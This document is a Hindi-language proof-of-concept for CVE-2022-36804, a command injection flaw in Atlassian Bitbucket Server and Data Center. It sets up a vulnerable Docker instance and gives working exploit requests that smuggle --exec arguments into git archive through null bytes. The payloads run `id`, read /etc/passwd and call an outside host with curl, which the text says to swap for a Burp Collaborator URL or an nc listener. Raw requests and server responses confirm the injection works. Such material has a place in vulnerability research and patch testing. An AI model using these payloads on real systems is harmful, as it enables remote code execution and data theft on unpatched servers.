
Atlassian Bitbucket Server and Data Center - कमांड इंजेक्शन भेद्यता (CVE-2022-36804)
Atlassian Bitbucket Server और Data Center - कमांड इंजेक्शन भेद्यता (CVE-2022-36804)
Atlassian Bitbucket Server और Data Center के प्रभावित संस्करणों में कई API एंडपॉइंट्स में एक कमांड इंजेक्शन भेद्यता मौजूद है, जहां एक हमलावर जिसके पास सार्वजनिक रिपॉजिटरी तक पहुंच है या एक निजी Bitbucket रिपॉजिटरी के लिए पढ़ने की अनुमति है, एक दुर्भावनापूर्ण HTTP अनुरोध भेजकर मनमाना कोड निष्पादित कर सकता है।
docker pull atlassian/bitbucket-server:7.2.5-ubuntu-jdk11
docker run -v /data/bitbucket:/var/atlassian/application-data/bitbucket --name="bitbucket" -d -p 7990:7990 -p 7999:7999 atlassian/bitbucket-server:7.2.5-ubuntu-jdk11
CFX नाम का एक नया PROJECT बनाएं और एक रिपॉजिटरी lord नाम से बनाएं और उसे सार्वजनिक करें, आप प्रोजेक्ट और रिपॉजिटरी के लिए कोई भी नाम उपयोग कर सकते हैं।Curl http://127.0.0.1:7990/rest/api/latest/reposGET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60id%60%00--prefix=/ HTTP/1.1
Host: 127.0.0.1:7990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 2
HTTP/1.1 500
X-AREQUESTID: @1J1EWV1x490x54736x0
X-ASEN: SEN-L18735288
Cache-Control: no-cache, no-transform
Vary: accept-encoding,x-auserid,cookie,x-ausername,accept-encoding
Content-Type: application/json;charset=UTF-8
Date: Tue, 04 Oct 2022 08:10:56 GMT
Connection: close
Content-Length: 380
{"errors":[{"context":null,"message":"'/usr/bin/git archive --format=zip --prefix=fusion/\u0000--remote=/\u0000--exec=`id`\u0000--prefix=/ -- 49f16ce1e8ad32a360c9db7a3a84a0b72a12c51f bighax' exited with code 128 saying: `id` '/': 1: uid=2003(bitbucket): not found\nfatal: the remote end hung up unexpectedly","exceptionName":"com.atlassian.bitbucket.scm.CommandFailedException"}]}
/etc/passwd पढ़नाrest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60cat%20/etc/passwd%60%00--prefix=/
http://example.com को Burp collab URL या NC लिसनर से बदलेंrest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=qualys/%00--remote=/%00--exec=curl%20http://example.com%00--prefix=/
अनुरोध
GET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&prefix=/%00--help%00--%00 HTTP/1.1
Host: 127.0.0.1:7990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 2
प्रतिक्रिया
HTTP/1.1 200
X-AREQUESTID: @1J1EWV1x506x54738x0
X-ASEN: SEN-L18735288
Cache-Control: no-cache, no-transform
Vary: X-AUSERNAME
Vary: X-AUSERID
Vary: Cookie
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="[email protected]"; filename*=UTF-8''lord-master%4049f16ce1e8a.zip
Content-Type: application/octet-stream
Content-Length: 875
Date: Tue, 04 Oct 2022 08:26:21 GMT
usage: git archive [<options>] <tree-ish> [<path>...]
or: git archive --list
or: git archive --remote <repo> [--exec <cmd>] [<options>] <tree-ish> [<path>...]
or: git archive --remote <repo> [--exec <cmd>] --list
--format <fmt> archive format
--prefix <prefix> prepend prefix to each pathname in the archive
-o, --output <file> write the archive to this file
--worktree-attributes
read .gitattributes in working directory
-v, --verbose report archived files on stderr
-0 store only
-1 compress faster
-9 compress better
-l, --list list supported archive formats
--remote <repo> retrieve the archive from remote repository <repo>
--exec <command> path to the remote git-upload-archive command